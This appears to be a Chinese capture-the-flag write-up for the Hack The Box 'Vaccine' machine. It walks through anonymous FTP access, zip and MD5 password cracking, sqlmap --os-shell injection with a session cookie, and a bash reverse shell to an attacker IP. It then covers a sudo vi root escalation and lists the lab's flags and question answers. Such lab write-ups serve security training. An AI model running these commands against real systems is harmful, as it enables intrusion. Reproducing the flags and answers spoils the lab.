HTB-Vaccine(suid提权、sqlmap、john2zip)

前言

• 各位师傅大家好，我是qmx_07，今天来为大家讲解Vaccine靶机
  

渗透过程

信息搜集

• 服务器开放了 21FTP服务、22SSH服务、80HTTP服务

通过匿名登录FTP服务器

• 通过匿名登录到服务器，发现backup.zip文件，可能存在账号密码
  
• 发现backup.zip文件 设置密码，考虑使用john 破解

john 破解zip文件

• zip2john 是一个用于处理加密 ZIP 文件以进行密码破解的工具
• 可以将加密的 ZIP 文件转换为一种特定的格式，以便密码破解工具（如 John the Ripper）能够识别和处理。
• 文件后缀为 “.hashes” 通常表示该文件包含密码哈希值
• 通过对密码进行特定的算法运算得到的结果，其目的是为了在不直接存储明文密码的情况下，能够验证用户输入的密码是否正确
  
  密码是：741852963

哈希破解

• 可以看到 网站的账户是：admin
• 密码经过md5加密：2cb42f8734ea607eefed3b70af13bbd3

我们介绍一下密码破解网站：crackstation.net

• 支持多种哈希算法：LM、NTLM、MD2、MD4、MD5、SHA1、SHA224、SHA256、SHA384、SHA512、RIPEMD160 ，速度非常快
  
• 密码是：qwerty789

sqlmap 利用- os-shell 获取权限

• 登录网站之后，发现搜索框 查询内容，疑似sql注入
  
• 输入’ 有错误回显，确认确实具有该漏洞
  
• SQLMap 是一款开源的自动化 SQL 注入工具，主要用于检测和利用 SQL 注入漏洞
• 可以对多种数据库进行漏洞探测：MySQL、Oracle、PostgreSQL、Microsoft SQL Server
  常用命令：

-u：指定目标 URL
例子：sqlmap -u "http://example.com/page.php?id=1"
--dbs：列出目标数据库中的所有数据库
例子：sqlmap -u "http://example.com/page.php?id=1" --dbs
--tables：列出指定数据库中的所有表
例子：sqlmap -u "http://example.com/page.php?id=1" --tables -D database_name
--columns：列出指定表中的所有列
例子：sqlmap -u "http://example.com/page.php?id=1" --columns -D database_name -T table_name
-os-shell 用于获取目标服务器的操作系统命令行 shell
例子：sqlmap -u "http://example.com/page.php?id=1" --os-shell

• 通过yakit 捕获cookie内容，因为sql注入的地方 是后台，需要登录信息
• Cookie: PHPSESSID=3mmtugeeqob4aplgtdomrie2gf
  

sqlmap -u "http://10.129.104.85/dashboard.php?search=nothing" --cookie="PHPSESSID=3mmtugeeqob4aplgtdomrie2gf" --os-shell

• 可以执行命令 来反弹会话

bash -c "bash -i >& /dev/tcp/10.10.16.3/1234 0>&1"

通过一下命令，来巩固会话：

python3 -c 'import pty; pty.spawn("/bin/bash")'

suid提权

• 翻找网站连接配置文件dashboard.php

• 用户是:postgres

• 密码是:P@s5w0rd!
  

• 命令：su postgres //登录账户

• 可以观察到 postgres可以以root权限运行 vi命令 指向pg_hba.conf

• https://gtfobins.github.io/ 这个网站提供了suid提权的相关命令
  

sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
:set shell=/bin/sh     :wq 保存退出
:shell                 回车

user_flag:ec9b13ca4d6229cd5cc1e09980965bf7

flag:dd6e058e814260bc70e9bbdef2715849

答案

• 1.服务器上除了HTTP、SSH服务，还提供了哪些服务？

FTP

• 2.可以使用哪个用户登录FTP服务器？

anonymous

• 3.可以使用哪个命令下载文件？

get

• 4.john the ripper可以使用哪个脚本来破解zip文件？

john2zip

• 5.admin的密码是什么？

QWERTY789

• 6.sqlmap可以使用什么参数来获得命令执行？

–os-shell

• 7.postgres可以使用什么命令以root身份运行？

vi

• 8.用户flag?

ec9b13ca4d6229cd5cc1e09980965bf7

• 9.flag?

dd6e058e814260bc70e9bbdef2715849

总结

• 我们介绍了john2zip脚本，sqlmap工具及常用参数，suid提权及相关辅助网站，哈希密码破解网站